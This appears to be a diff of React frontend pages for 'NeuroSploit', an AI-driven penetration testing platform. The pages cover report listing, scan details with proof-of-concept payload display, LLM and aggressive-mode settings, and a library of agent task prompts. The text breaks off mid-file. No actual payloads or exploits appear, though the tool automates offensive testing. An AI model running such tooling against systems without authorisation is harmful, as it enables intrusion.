<p className="text-dark-400 mt-1">View and download security assessment reports</p>
</div>
</div>
{reports.length === 0 ? (
<Card>
<div className="text-center py-12">
<FileText className="w-16 h-16 mx-auto text-dark-500 mb-4" />
<h3 className="text-lg font-medium text-white mb-2">No Reports Yet</h3>
<p className="text-dark-400 mb-4">
Reports are generated after completing a security scan.
</p>
<Link to="/scan/new">
<Button>Start a New Scan</Button>
</Link>
</div>
</Card>
) : (
<div className="grid gap-4">
{reports.map((report) => {
const scan = scans.get(report.scan_id)
return (
<Card key={report.id}>
<div className="flex items-center justify-between">
<div className="flex items-center gap-4">
<div className="p-3 bg-primary-500/10 rounded-lg">
<FileText className="w-6 h-6 text-primary-500" />
</div>
<div>
<h3 className="font-medium text-white">
{report.title || scan?.name || 'Security Report'}
</h3>
<div className="flex items-center gap-3 mt-1 text-sm text-dark-400">
<span className="flex items-center gap-1">
<Calendar className="w-4 h-4" />
{new Date(report.generated_at).toLocaleDateString()}
</span>
<span className="uppercase text-xs bg-dark-700 px-2 py-0.5 rounded">
{report.format}
</span>
{scan && (
<span>
{scan.total_vulnerabilities} vulnerabilities
</span>
)}
</div>
</div>
</div>
<div className="flex items-center gap-2">
<Button
variant="ghost"
onClick={() => window.open(reportsApi.getViewUrl(report.id), '_blank')}
>
<Eye className="w-4 h-4 mr-2" />
View
</Button>
<Button
variant="secondary"
onClick={() => handleDownload(report.id, 'html')}
>
<Download className="w-4 h-4 mr-2" />
HTML
</Button>
<Button
variant="secondary"
onClick={() => handleDownload(report.id, 'json')}
>
<Download className="w-4 h-4 mr-2" />
JSON
</Button>
<Button
variant="ghost"
onClick={() => handleDelete(report.id)}
className="text-red-400 hover:text-red-300"
>
<Trash2 className="w-4 h-4" />
</Button>
</div>
</div>
</Card>
)
})}
</div>
)}
</div>
)
}
+580
View File
@@ -0,0 +1,580 @@
import { useEffect, useMemo, useState } from 'react'
import { useParams, useNavigate } from 'react-router-dom'
import {
Globe, FileText, StopCircle, RefreshCw, ChevronDown, ChevronRight,
ExternalLink, Copy, Shield, AlertTriangle
} from 'lucide-react'
import Card from '../components/common/Card'
import Button from '../components/common/Button'
import { SeverityBadge } from '../components/common/Badge'
import { scansApi, reportsApi } from '../services/api'
import { wsService } from '../services/websocket'
import { useScanStore } from '../store'
import type { Endpoint, Vulnerability, WSMessage } from '../types'
export default function ScanDetailsPage() {
const { scanId } = useParams<{ scanId: string }>()
const navigate = useNavigate()
const {
currentScan, endpoints, vulnerabilities, logs,
setCurrentScan, setEndpoints, setVulnerabilities,
addEndpoint, addVulnerability, addLog, updateScan,
loadScanData, saveScanData, getVulnCounts
} = useScanStore()
const [isGeneratingReport, setIsGeneratingReport] = useState(false)
const [expandedVulns, setExpandedVulns] = useState<Set<string>>(new Set())
const [activeTab, setActiveTab] = useState<'endpoints' | 'vulns'>('vulns')
const [isLoading, setIsLoading] = useState(true)
const [error, setError] = useState<string | null>(null)
// Calculate vulnerability counts from actual data
const vulnCounts = useMemo(() => getVulnCounts(), [vulnerabilities])
useEffect(() => {
if (!scanId) return
// Try to load cached data first
loadScanData(scanId)
// Fetch initial data from API
const fetchData = async () => {
setIsLoading(true)
setError(null)
try {
const scan = await scansApi.get(scanId)
setCurrentScan(scan)
const [endpointsData, vulnsData] = await Promise.all([
scansApi.getEndpoints(scanId),
scansApi.getVulnerabilities(scanId)
])
// Only set if we have data from API
if (endpointsData.endpoints?.length > 0) {
setEndpoints(endpointsData.endpoints)
}
if (vulnsData.vulnerabilities?.length > 0) {
setVulnerabilities(vulnsData.vulnerabilities)
}
} catch (err: any) {
console.error('Failed to fetch scan:', err)
setError(err?.response?.data?.detail || 'Failed to load scan')
} finally {
setIsLoading(false)
}
}
fetchData()
// Poll for updates while scan is running
const pollInterval = setInterval(async () => {
if (currentScan?.status === 'running' || !currentScan) {
try {
const scan = await scansApi.get(scanId)
setCurrentScan(scan)
const [endpointsData, vulnsData] = await Promise.all([
scansApi.getEndpoints(scanId),
scansApi.getVulnerabilities(scanId)
])
if (endpointsData.endpoints?.length > 0) {
setEndpoints(endpointsData.endpoints)
}
if (vulnsData.vulnerabilities?.length > 0) {
setVulnerabilities(vulnsData.vulnerabilities)
}
} catch (err) {
console.error('Poll error:', err)
}
}
}, 3000)
// Connect WebSocket for running scans
wsService.connect(scanId)
// Subscribe to events
const unsubscribe = wsService.subscribe('*', (message: WSMessage) => {
switch (message.type) {
case 'progress_update':
updateScan(scanId, {
progress: message.progress as number,
current_phase: message.message as string
})
break
case 'phase_change':
updateScan(scanId, { current_phase: message.phase as string })
addLog('info', `Phase: ${message.phase}`)
break
case 'endpoint_found':
addEndpoint(message.endpoint as Endpoint)
break
case 'vuln_found':
addVulnerability(message.vulnerability as Vulnerability)
addLog('warning', `Found: ${(message.vulnerability as Vulnerability).title}`)
break
case 'log_message':
addLog(message.level as string, message.message as string)
break
case 'scan_completed':
updateScan(scanId, { status: 'completed', progress: 100 })
addLog('info', 'Scan completed')
// Save data when scan completes
saveScanData(scanId)
break
case 'error':
addLog('error', message.error as string)
break
}
})
return () => {
// Save data before unmounting
saveScanData(scanId)
unsubscribe()
wsService.disconnect()
clearInterval(pollInterval)
}
}, [scanId])
const handleStopScan = async () => {
if (!scanId) return
try {
await scansApi.stop(scanId)
updateScan(scanId, { status: 'stopped' })
saveScanData(scanId)
} catch (error) {
console.error('Failed to stop scan:', error)
}
}
const handleGenerateReport = async () => {
if (!scanId) return
setIsGeneratingReport(true)
try {
const report = await reportsApi.generate({
scan_id: scanId,
format: 'html',
include_poc: true,
include_remediation: true
})
window.open(reportsApi.getViewUrl(report.id), '_blank')
} catch (error) {
console.error('Failed to generate report:', error)
} finally {
setIsGeneratingReport(false)
}
}
const toggleVuln = (id: string) => {
const newExpanded = new Set(expandedVulns)
if (newExpanded.has(id)) {
newExpanded.delete(id)
} else {
newExpanded.add(id)
}
setExpandedVulns(newExpanded)
}
const copyToClipboard = (text: string) => {
navigator.clipboard.writeText(text)
}
if (isLoading) {
return (
<div className="flex items-center justify-center h-64">
<RefreshCw className="w-8 h-8 animate-spin text-primary-500" />
</div>
)
}
if (error) {
return (
<div className="flex flex-col items-center justify-center h-64">
<AlertTriangle className="w-12 h-12 text-red-500 mb-4" />
<p className="text-xl text-white mb-2">Failed to load scan</p>
<p className="text-dark-400 mb-4">{error}</p>
<Button onClick={() => navigate('/')}>Go to Dashboard</Button>
</div>
)
}
if (!currentScan) {
return (
<div className="flex flex-col items-center justify-center h-64">
<AlertTriangle className="w-12 h-12 text-yellow-500 mb-4" />
<p className="text-xl text-white mb-2">Scan not found</p>
<p className="text-dark-400 mb-4">The scan may still be initializing or does not exist.</p>
<div className="flex gap-2">
<Button onClick={() => window.location.reload()}>Refresh</Button>
<Button variant="secondary" onClick={() => navigate('/')}>Go to Dashboard</Button>
</div>
</div>
)
}
return (
<div className="space-y-6 animate-fadeIn">
{/* Header */}
<div className="flex items-center justify-between">
<div>
<h2 className="text-2xl font-bold text-white flex items-center gap-2">
<Shield className="w-6 h-6 text-primary-500" />
{currentScan.name || 'Unnamed Scan'}
</h2>
<div className="flex items-center gap-3 mt-2">
<SeverityBadge severity={currentScan.status} />
<span className="text-dark-400">
Started {new Date(currentScan.created_at).toLocaleString()}
</span>
</div>
</div>
<div className="flex gap-2">
{currentScan.status === 'running' && (
<Button variant="danger" onClick={handleStopScan}>
<StopCircle className="w-4 h-4 mr-2" />
Stop Scan
</Button>
)}
{currentScan.status === 'completed' && (
<Button onClick={handleGenerateReport} isLoading={isGeneratingReport}>
<FileText className="w-4 h-4 mr-2" />
Generate Report
</Button>
)}
</div>
</div>
{/* Progress */}
{currentScan.status === 'running' && (
<Card>
<div className="space-y-3">
<div className="flex items-center justify-between">
<span className="text-dark-300">{currentScan.current_phase || 'Initializing...'}</span>
<span className="text-white font-medium">{currentScan.progress}%</span>
</div>
<div className="h-2 bg-dark-900 rounded-full overflow-hidden">
<div
className="h-full bg-primary-500 rounded-full transition-all duration-300"
style={{ width: `${currentScan.progress}%` }}
/>
</div>
</div>
</Card>
)}
{/* Stats */}
<div className="grid grid-cols-2 md:grid-cols-6 gap-4">
<Card>
<div className="text-center">
<p className="text-2xl font-bold text-white">{endpoints.length}</p>
<p className="text-sm text-dark-400">Endpoints</p>
</div>
</Card>
<Card>
<div className="text-center">
<p className="text-2xl font-bold text-white">{vulnerabilities.length}</p>
<p className="text-sm text-dark-400">Total Vulns</p>
</div>
</Card>
<Card>
<div className="text-center">
<p className="text-2xl font-bold text-red-500">{vulnCounts.critical}</p>
<p className="text-sm text-dark-400">Critical</p>
</div>
</Card>
<Card>
<div className="text-center">
<p className="text-2xl font-bold text-orange-500">{vulnCounts.high}</p>
<p className="text-sm text-dark-400">High</p>
</div>
</Card>
<Card>
<div className="text-center">
<p className="text-2xl font-bold text-yellow-500">{vulnCounts.medium}</p>
<p className="text-sm text-dark-400">Medium</p>
</div>
</Card>
<Card>
<div className="text-center">
<p className="text-2xl font-bold text-blue-500">{vulnCounts.low}</p>
<p className="text-sm text-dark-400">Low</p>
</div>
</Card>
</div>
{/* Tabs */}
<div className="flex gap-2 border-b border-dark-700 pb-2">
<Button
variant={activeTab === 'vulns' ? 'primary' : 'ghost'}
onClick={() => setActiveTab('vulns')}
>
<AlertTriangle className="w-4 h-4 mr-2" />
Vulnerabilities ({vulnerabilities.length})
</Button>
<Button
variant={activeTab === 'endpoints' ? 'primary' : 'ghost'}
onClick={() => setActiveTab('endpoints')}
>
<Globe className="w-4 h-4 mr-2" />
Endpoints ({endpoints.length})
</Button>
</div>
{/* Vulnerabilities Tab */}
{activeTab === 'vulns' && (
<div className="space-y-3">
{vulnerabilities.length === 0 ? (
<Card>
<p className="text-dark-400 text-center py-8">
{currentScan.status === 'running' ? 'Scanning for vulnerabilities...' : 'No vulnerabilities found'}
</p>
</Card>
) : (
vulnerabilities.map((vuln, idx) => (
<div
key={vuln.id || `vuln-${idx}`}
className="bg-dark-800 rounded-lg border border-dark-700 overflow-hidden"
>
{/* Vulnerability Header */}
<div
className="p-4 cursor-pointer hover:bg-dark-750 transition-colors"
onClick={() => toggleVuln(vuln.id || `vuln-${idx}`)}
>
<div className="flex items-start justify-between gap-3">
<div className="flex items-start gap-2 flex-1">
{expandedVulns.has(vuln.id || `vuln-${idx}`) ? (
<ChevronDown className="w-4 h-4 mt-1 text-dark-400" />
) : (
<ChevronRight className="w-4 h-4 mt-1 text-dark-400" />
)}
<div className="flex-1 min-w-0">
<p className="font-medium text-white">{vuln.title}</p>
<p className="text-sm text-dark-400 truncate mt-1">{vuln.affected_endpoint}</p>
</div>
</div>
<div className="flex items-center gap-2">
{vuln.cvss_score && (
<span className={`text-sm font-bold px-2 py-0.5 rounded ${
vuln.cvss_score >= 9 ? 'bg-red-500/20 text-red-400' :
vuln.cvss_score >= 7 ? 'bg-orange-500/20 text-orange-400' :
vuln.cvss_score >= 4 ? 'bg-yellow-500/20 text-yellow-400' :
'bg-blue-500/20 text-blue-400'
}`}>
CVSS {vuln.cvss_score.toFixed(1)}
</span>
)}
<SeverityBadge severity={vuln.severity} />
</div>
</div>
</div>
{/* Vulnerability Details */}
{expandedVulns.has(vuln.id || `vuln-${idx}`) && (
<div className="p-4 pt-0 space-y-4 border-t border-dark-700">
{/* Meta Info */}
<div className="flex flex-wrap items-center gap-4 text-sm">
{vuln.vulnerability_type && (
<span className="text-dark-400">
Type: <span className="text-white">{vuln.vulnerability_type}</span>
</span>
)}
{vuln.cwe_id && (
<a
href={`https://cwe.mitre.org/data/definitions/${vuln.cwe_id.replace('CWE-', '')}.html`}
target="_blank"
rel="noopener noreferrer"
className="text-primary-400 hover:underline flex items-center gap-1"
>
{vuln.cwe_id}
<ExternalLink className="w-3 h-3" />
</a>
)}
{vuln.cvss_vector && (
<span className="text-xs bg-dark-700 px-2 py-1 rounded font-mono text-dark-300">
{vuln.cvss_vector}
</span>
)}
</div>
{/* Description */}
{vuln.description && (
<div>
<p className="text-sm font-medium text-dark-300 mb-1">Description</p>
<p className="text-sm text-dark-400">{vuln.description}</p>
</div>
)}
{/* Impact */}
{vuln.impact && (
<div>
<p className="text-sm font-medium text-dark-300 mb-1">Impact</p>
<p className="text-sm text-dark-400">{vuln.impact}</p>
</div>
)}
{/* Proof of Concept */}
{(vuln.poc_request || vuln.poc_payload) && (
<div>
<div className="flex items-center justify-between mb-1">
<p className="text-sm font-medium text-dark-300">Proof of Concept</p>
<Button
variant="ghost"
size="sm"
onClick={() => copyToClipboard(vuln.poc_request || vuln.poc_payload || '')}
>
<Copy className="w-3 h-3 mr-1" />
Copy
</Button>
</div>
{vuln.poc_payload && (
<div className="mb-2">
<p className="text-xs text-dark-500 mb-1">Payload:</p>
<pre className="text-xs bg-dark-900 p-3 rounded overflow-x-auto text-yellow-400 font-mono">
{vuln.poc_payload}
</pre>
</div>
)}
{vuln.poc_request && (
<div>
<p className="text-xs text-dark-500 mb-1">Request:</p>
<pre className="text-xs bg-dark-900 p-3 rounded overflow-x-auto text-dark-300 font-mono">
{vuln.poc_request}
</pre>
</div>
)}
{vuln.poc_response && (
<div className="mt-2">
<p className="text-xs text-dark-500 mb-1">Response:</p>
<pre className="text-xs bg-dark-900 p-3 rounded overflow-x-auto text-dark-300 font-mono max-h-40">
{vuln.poc_response}
</pre>
</div>
)}
</div>
)}
{/* Remediation */}
{vuln.remediation && (
<div>
<p className="text-sm font-medium text-green-400 mb-1">Remediation</p>
<p className="text-sm text-dark-400">{vuln.remediation}</p>
</div>
)}
{/* AI Analysis */}
{vuln.ai_analysis && (
<div>
<p className="text-sm font-medium text-purple-400 mb-1">AI Analysis</p>
<p className="text-sm text-dark-400 whitespace-pre-wrap">{vuln.ai_analysis}</p>
</div>
)}
{/* References */}
{vuln.references?.length > 0 && (
<div>
<p className="text-sm font-medium text-dark-300 mb-1">References</p>
<div className="flex flex-wrap gap-2">
{vuln.references.map((ref, i) => (
<a
key={i}
href={ref}
target="_blank"
rel="noopener noreferrer"
className="text-xs text-primary-400 hover:underline flex items-center gap-1"
>
{(() => {
try {
return new URL(ref).hostname
} catch {
return ref
}
})()}
<ExternalLink className="w-3 h-3" />
</a>
))}
</div>
</div>
)}
</div>
)}
</div>
))
)}
</div>
)}
{/* Endpoints Tab */}
{activeTab === 'endpoints' && (
<Card title="Discovered Endpoints" subtitle={`${endpoints.length} endpoints found`}>
<div className="space-y-2 max-h-[500px] overflow-auto">
{endpoints.length === 0 ? (
<p className="text-dark-400 text-center py-8">No endpoints discovered yet</p>
) : (
endpoints.map((endpoint, idx) => (
<div
key={endpoint.id || `endpoint-${idx}`}
className="flex items-center gap-3 p-3 bg-dark-900/50 rounded-lg hover:bg-dark-900 transition-colors"
>
<Globe className="w-4 h-4 text-dark-400 flex-shrink-0" />
<span className={`text-xs px-2 py-0.5 rounded font-medium ${
endpoint.method === 'GET' ? 'bg-green-500/20 text-green-400' :
endpoint.method === 'POST' ? 'bg-blue-500/20 text-blue-400' :
endpoint.method === 'PUT' ? 'bg-yellow-500/20 text-yellow-400' :
endpoint.method === 'DELETE' ? 'bg-red-500/20 text-red-400' :
'bg-dark-700 text-dark-300'
}`}>
{endpoint.method}
</span>
<span className="text-sm text-dark-200 truncate flex-1 font-mono">
{endpoint.path || endpoint.url}
</span>
{endpoint.parameters?.length > 0 && (
<span className="text-xs text-dark-500">
{endpoint.parameters.length} params
</span>
)}
{endpoint.content_type && (
<span className="text-xs text-dark-500">{endpoint.content_type}</span>
)}
{endpoint.response_status && (
<span className={`text-xs font-medium ${
endpoint.response_status < 300 ? 'text-green-400' :
endpoint.response_status < 400 ? 'text-yellow-400' :
'text-red-400'
}`}>
{endpoint.response_status}
</span>
)}
</div>
))
)}
</div>
</Card>
)}
{/* Activity Log */}
<Card title="Activity Log">
<div className="space-y-1 max-h-60 overflow-auto font-mono text-xs">
{logs.length === 0 ? (
<p className="text-dark-400 text-center py-4">Waiting for activity...</p>
) : (
logs.map((log, i) => (
<div key={i} className="flex gap-2">
<span className="text-dark-500">{new Date(log.time).toLocaleTimeString()}</span>
<span className={`${
log.level === 'error' ? 'text-red-400' :
log.level === 'warning' ? 'text-yellow-400' :
log.level === 'success' ? 'text-green-400' :
'text-dark-300'
}`}>
{log.message}
</span>
</div>
))
)}
</div>
</Card>
</div>
)
}
+308
View File
@@ -0,0 +1,308 @@
import { useState, useEffect } from 'react'
import { Save, Shield, Trash2, RefreshCw, AlertTriangle } from 'lucide-react'
import Card from '../components/common/Card'
import Button from '../components/common/Button'
import Input from '../components/common/Input'
interface Settings {
llm_provider: string
has_anthropic_key: boolean
has_openai_key: boolean
max_concurrent_scans: number
aggressive_mode: boolean
default_scan_type: string
recon_enabled_by_default: boolean
}
interface DbStats {
scans: number
vulnerabilities: number
endpoints: number
reports: number
}
export default function SettingsPage() {
const [settings, setSettings] = useState<Settings | null>(null)
const [dbStats, setDbStats] = useState<DbStats | null>(null)
const [apiKey, setApiKey] = useState('')
const [openaiKey, setOpenaiKey] = useState('')
const [llmProvider, setLlmProvider] = useState('claude')
const [maxConcurrentScans, setMaxConcurrentScans] = useState('3')
const [aggressiveMode, setAggressiveMode] = useState(false)
const [isSaving, setIsSaving] = useState(false)
const [isClearing, setIsClearing] = useState(false)
const [showClearConfirm, setShowClearConfirm] = useState(false)
const [message, setMessage] = useState<{ type: 'success' | 'error', text: string } | null>(null)
useEffect(() => {
fetchSettings()
fetchDbStats()
}, [])
const fetchSettings = async () => {
try {
const response = await fetch('/api/v1/settings')
if (response.ok) {
const data = await response.json()
setSettings(data)
setLlmProvider(data.llm_provider)
setMaxConcurrentScans(String(data.max_concurrent_scans))
setAggressiveMode(data.aggressive_mode)
}
} catch (error) {
console.error('Failed to fetch settings:', error)
}
}
const fetchDbStats = async () => {
try {
const response = await fetch('/api/v1/settings/stats')
if (response.ok) {
const data = await response.json()
setDbStats(data)
}
} catch (error) {
console.error('Failed to fetch db stats:', error)
}
}
const handleSave = async () => {
setIsSaving(true)
setMessage(null)
try {
const response = await fetch('/api/v1/settings', {
method: 'PUT',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
llm_provider: llmProvider,
anthropic_api_key: apiKey || undefined,
openai_api_key: openaiKey || undefined,
max_concurrent_scans: parseInt(maxConcurrentScans),
aggressive_mode: aggressiveMode
})
})
if (response.ok) {
const data = await response.json()
setSettings(data)
setApiKey('')
setOpenaiKey('')
setMessage({ type: 'success', text: 'Settings saved successfully!' })
} else {
setMessage({ type: 'error', text: 'Failed to save settings' })
}
} catch (error) {
setMessage({ type: 'error', text: 'Failed to save settings' })
} finally {
setIsSaving(false)
}
}
const handleClearDatabase = async () => {
setIsClearing(true)
setMessage(null)
try {
const response = await fetch('/api/v1/settings/clear-database', {
method: 'POST'
})
if (response.ok) {
setMessage({ type: 'success', text: 'Database cleared successfully!' })
setShowClearConfirm(false)
fetchDbStats()
} else {
const data = await response.json()
setMessage({ type: 'error', text: data.detail || 'Failed to clear database' })
}
} catch (error) {
setMessage({ type: 'error', text: 'Failed to clear database' })
} finally {
setIsClearing(false)
}
}
return (
<div className="max-w-2xl mx-auto space-y-6 animate-fadeIn">
{/* Status Message */}
{message && (
<div className={`p-4 rounded-lg ${message.type === 'success' ? 'bg-green-500/20 text-green-400' : 'bg-red-500/20 text-red-400'}`}>
{message.text}
</div>
)}
{/* LLM Configuration */}
<Card title="LLM Configuration" subtitle="Configure AI model for vulnerability analysis">
<div className="space-y-4">
<div>
<label className="block text-sm font-medium text-dark-200 mb-2">
LLM Provider
</label>
<div className="flex gap-2">
{['claude', 'openai', 'ollama'].map((provider) => (
<Button
key={provider}
variant={llmProvider === provider ? 'primary' : 'secondary'}
onClick={() => setLlmProvider(provider)}
>
{provider.charAt(0).toUpperCase() + provider.slice(1)}
</Button>
))}
</div>
</div>
{llmProvider === 'claude' && (
<Input
label="Anthropic API Key"
type="password"
placeholder={settings?.has_anthropic_key ? '••••••••••••••••' : 'sk-ant-...'}
value={apiKey}
onChange={(e) => setApiKey(e.target.value)}
helperText={settings?.has_anthropic_key ? 'API key is configured. Enter a new key to update.' : 'Required for Claude-powered analysis'}
/>
)}
{llmProvider === 'openai' && (
<Input
label="OpenAI API Key"
type="password"
placeholder={settings?.has_openai_key ? '••••••••••••••••' : 'sk-...'}
value={openaiKey}
onChange={(e) => setOpenaiKey(e.target.value)}
helperText={settings?.has_openai_key ? 'API key is configured. Enter a new key to update.' : 'Required for OpenAI-powered analysis'}
/>
)}
</div>
</Card>
{/* Scan Settings */}
<Card title="Scan Settings" subtitle="Configure default scan behavior">
<div className="space-y-4">
<Input
label="Max Concurrent Scans"
type="number"
min="1"
max="10"
value={maxConcurrentScans}
onChange={(e) => setMaxConcurrentScans(e.target.value)}
helperText="Maximum number of scans that can run simultaneously"
/>
<div className="flex items-center justify-between p-4 bg-dark-900/50 rounded-lg">
<div>
<p className="font-medium text-white">Enable Aggressive Mode</p>
<p className="text-sm text-dark-400">
Use more payloads and bypass techniques (may be slower)
</p>
</div>
<button
onClick={() => setAggressiveMode(!aggressiveMode)}
className={`w-12 h-6 rounded-full transition-colors ${aggressiveMode ? 'bg-primary-500' : 'bg-dark-700'}`}
>
<div className={`w-5 h-5 bg-white rounded-full shadow-md transform transition-transform ${aggressiveMode ? 'translate-x-6' : 'translate-x-0.5'}`} />
</button>
</div>
</div>
</Card>
{/* Database Management */}
<Card title="Database Management" subtitle="Manage stored data">
<div className="space-y-4">
{/* Stats */}
{dbStats && (
<div className="grid grid-cols-4 gap-4 p-4 bg-dark-900/50 rounded-lg">
<div className="text-center">
<p className="text-2xl font-bold text-white">{dbStats.scans}</p>
<p className="text-xs text-dark-400">Scans</p>
</div>
<div className="text-center">
<p className="text-2xl font-bold text-white">{dbStats.vulnerabilities}</p>
<p className="text-xs text-dark-400">Vulnerabilities</p>
</div>
<div className="text-center">
<p className="text-2xl font-bold text-white">{dbStats.endpoints}</p>
<p className="text-xs text-dark-400">Endpoints</p>
</div>
<div className="text-center">
<p className="text-2xl font-bold text-white">{dbStats.reports}</p>
<p className="text-xs text-dark-400">Reports</p>
</div>
</div>
)}
{/* Clear Database */}
{!showClearConfirm ? (
<div className="flex items-center justify-between p-4 bg-red-500/10 border border-red-500/30 rounded-lg">
<div>
<p className="font-medium text-white">Clear All Data</p>
<p className="text-sm text-dark-400">
Remove all scans, vulnerabilities, and reports
</p>
</div>
<Button variant="danger" onClick={() => setShowClearConfirm(true)}>
<Trash2 className="w-4 h-4 mr-2" />
Clear Database
</Button>
</div>
) : (
<div className="p-4 bg-red-500/20 border border-red-500/50 rounded-lg space-y-4">
<div className="flex items-start gap-3">
<AlertTriangle className="w-6 h-6 text-red-400 flex-shrink-0 mt-0.5" />
<div>
<p className="font-medium text-red-400">Are you sure?</p>
<p className="text-sm text-dark-300 mt-1">
This will permanently delete all scans, vulnerabilities, endpoints, and reports.
This action cannot be undone.
</p>
</div>
</div>
<div className="flex gap-3 justify-end">
<Button variant="secondary" onClick={() => setShowClearConfirm(false)}>
Cancel
</Button>
<Button variant="danger" onClick={handleClearDatabase} isLoading={isClearing}>
<Trash2 className="w-4 h-4 mr-2" />
Yes, Clear Everything
</Button>
</div>
</div>
)}
{/* Refresh Stats */}
<Button variant="secondary" onClick={fetchDbStats} className="w-full">
<RefreshCw className="w-4 h-4 mr-2" />
Refresh Statistics
</Button>
</div>
</Card>
{/* About */}
<Card title="About NeuroSploit">
<div className="space-y-3">
<div className="flex items-center gap-3">
<Shield className="w-8 h-8 text-primary-500" />
<div>
<p className="font-bold text-white text-lg">NeuroSploit v3.0</p>
<p className="text-sm text-dark-400">AI-Powered Penetration Testing Platform</p>
</div>
</div>
<div className="text-sm text-dark-400 space-y-1">
<p>Dynamic vulnerability testing driven by AI prompts</p>
<p>50+ vulnerability types across 10 categories</p>
<p>Real-time dashboard with WebSocket updates</p>
<p>Professional HTML/PDF/JSON reports</p>
</div>
</div>
</Card>
{/* Save Button */}
<div className="flex justify-end">
<Button onClick={handleSave} isLoading={isSaving} size="lg">
<Save className="w-5 h-5 mr-2" />
Save Settings
</Button>
</div>
</div>
)
}
+459
View File
@@ -0,0 +1,459 @@
import { useEffect, useState } from 'react'
import { useNavigate } from 'react-router-dom'
import {
BookOpen, Plus, Trash2, Play, Search, Tag, Zap, X, Save
} from 'lucide-react'
import Card from '../components/common/Card'
import Button from '../components/common/Button'
import Input from '../components/common/Input'
import Textarea from '../components/common/Textarea'
import { agentApi } from '../services/api'
import type { AgentTask } from '../types'
const CATEGORIES = [
{ id: 'all', name: 'All Tasks', color: 'dark' },
{ id: 'full_auto', name: 'Full Auto', color: 'primary' },
{ id: 'recon', name: 'Reconnaissance', color: 'blue' },
{ id: 'vulnerability', name: 'Vulnerability', color: 'orange' },
{ id: 'custom', name: 'Custom', color: 'purple' },
{ id: 'reporting', name: 'Reporting', color: 'green' }
]
export default function TaskLibraryPage() {
const navigate = useNavigate()
const [tasks, setTasks] = useState<AgentTask[]>([])
const [filteredTasks, setFilteredTasks] = useState<AgentTask[]>([])
const [loading, setLoading] = useState(true)
const [selectedCategory, setSelectedCategory] = useState('all')
const [searchQuery, setSearchQuery] = useState('')
const [selectedTask, setSelectedTask] = useState<AgentTask | null>(null)
// Create task modal
const [showCreateModal, setShowCreateModal] = useState(false)
const [newTask, setNewTask] = useState({
name: '',
description: '',
category: 'custom',
prompt: '',
system_prompt: '',
tags: ''
})
const [creating, setCreating] = useState(false)
const [deleteConfirm, setDeleteConfirm] = useState<string | null>(null)
useEffect(() => {
loadTasks()
}, [])
useEffect(() => {
filterTasks()
}, [tasks, selectedCategory, searchQuery])
const loadTasks = async () => {
setLoading(true)
try {
const taskList = await agentApi.tasks.list()
setTasks(taskList)
} catch (error) {
console.error('Failed to load tasks:', error)
} finally {
setLoading(false)
}
}
const filterTasks = () => {
let filtered = [...tasks]
// Category filter
if (selectedCategory !== 'all') {
filtered = filtered.filter(t => t.category === selectedCategory)
}
// Search filter
if (searchQuery.trim()) {
const query = searchQuery.toLowerCase()
filtered = filtered.filter(t =>
t.name.toLowerCase().includes(query) ||
t.description.toLowerCase().includes(query) ||
t.tags?.some(tag => tag.toLowerCase().includes(query))
)
}
setFilteredTasks(filtered)
}
const handleCreateTask = async () => {
if (!newTask.name.trim() || !newTask.prompt.trim()) return
setCreating(true)
try {
await agentApi.tasks.create({
name: newTask.name,
description: newTask.description,
category: newTask.category,
prompt: newTask.prompt,
system_prompt: newTask.system_prompt || undefined,
tags: newTask.tags.split(',').map(t => t.trim()).filter(t => t)
})
// Reload tasks
await loadTasks()
setShowCreateModal(false)
setNewTask({
name: '',
description: '',
category: 'custom',
prompt: '',
system_prompt: '',
tags: ''
})
} catch (error) {
console.error('Failed to create task:', error)
} finally {
setCreating(false)
}
}
const handleDeleteTask = async (taskId: string) => {
try {
await agentApi.tasks.delete(taskId)
await loadTasks()
setDeleteConfirm(null)
if (selectedTask?.id === taskId) {
setSelectedTask(null)
}
} catch (error) {
console.error('Failed to delete task:', error)
}
}
const handleRunTask = (task: AgentTask) => {
// Navigate to new scan page with task pre-selected
navigate('/scan/new', { state: { selectedTaskId: task.id } })
}
return (
<div className="space-y-6 animate-fadeIn">
{/* Header */}
<div className="flex items-center justify-between">
<div>
<h1 className="text-3xl font-bold text-white flex items-center gap-3">
<BookOpen className="w-8 h-8 text-primary-500" />
Task Library
</h1>
<p className="text-dark-400 mt-1">Manage and create reusable security testing tasks</p>
</div>
<Button onClick={() => setShowCreateModal(true)}>
<Plus className="w-4 h-4 mr-2" />
Create Task
</Button>
</div>
{/* Filters */}
<Card>
<div className="flex flex-wrap gap-4">
{/* Search */}
<div className="flex-1 min-w-[200px]">
<div className="relative">
<Search className="absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-dark-400" />
<input
type="text"
placeholder="Search tasks..."
value={searchQuery}
onChange={(e) => setSearchQuery(e.target.value)}
className="w-full pl-10 pr-4 py-2 bg-dark-900 border border-dark-700 rounded-lg text-white placeholder-dark-500 focus:border-primary-500 focus:outline-none"
/>
</div>
</div>
{/* Category Filter */}
<div className="flex gap-2 flex-wrap">
{CATEGORIES.map((cat) => (
<Button
key={cat.id}
variant={selectedCategory === cat.id ? 'primary' : 'secondary'}
size="sm"
onClick={() => setSelectedCategory(cat.id)}
>
{cat.name}
</Button>
))}
</div>
</div>
</Card>
<div className="grid grid-cols-1 lg:grid-cols-3 gap-6">
{/* Task List */}
<div className="lg:col-span-2 space-y-3">
{loading ? (
<Card>
<p className="text-dark-400 text-center py-8">Loading tasks...</p>
</Card>
) : filteredTasks.length === 0 ? (
<Card>
<p className="text-dark-400 text-center py-8">
{searchQuery || selectedCategory !== 'all'
? 'No tasks match your filters'
: 'No tasks found. Create your first task!'}
</p>
</Card>
) : (
filteredTasks.map((task) => (
<div
key={task.id}
onClick={() => setSelectedTask(task)}
className={`bg-dark-800 rounded-lg border p-4 cursor-pointer transition-all ${
selectedTask?.id === task.id
? 'border-primary-500 bg-primary-500/5'
: 'border-dark-700 hover:border-dark-500'
}`}
>
<div className="flex items-start justify-between gap-3">
<div className="flex-1 min-w-0">
<div className="flex items-center gap-2 mb-1">
<span className="font-medium text-white">{task.name}</span>
{task.is_preset && (
<span className="text-xs bg-primary-500/20 text-primary-400 px-2 py-0.5 rounded">
Preset
</span>
)}
</div>
<p className="text-sm text-dark-400 line-clamp-2">{task.description}</p>
<div className="flex items-center gap-3 mt-3">
<span className={`text-xs px-2 py-0.5 rounded ${
task.category === 'full_auto' ? 'bg-primary-500/20 text-primary-400' :
task.category === 'recon' ? 'bg-blue-500/20 text-blue-400' :
task.category === 'vulnerability' ? 'bg-orange-500/20 text-orange-400' :
task.category === 'reporting' ? 'bg-green-500/20 text-green-400' :
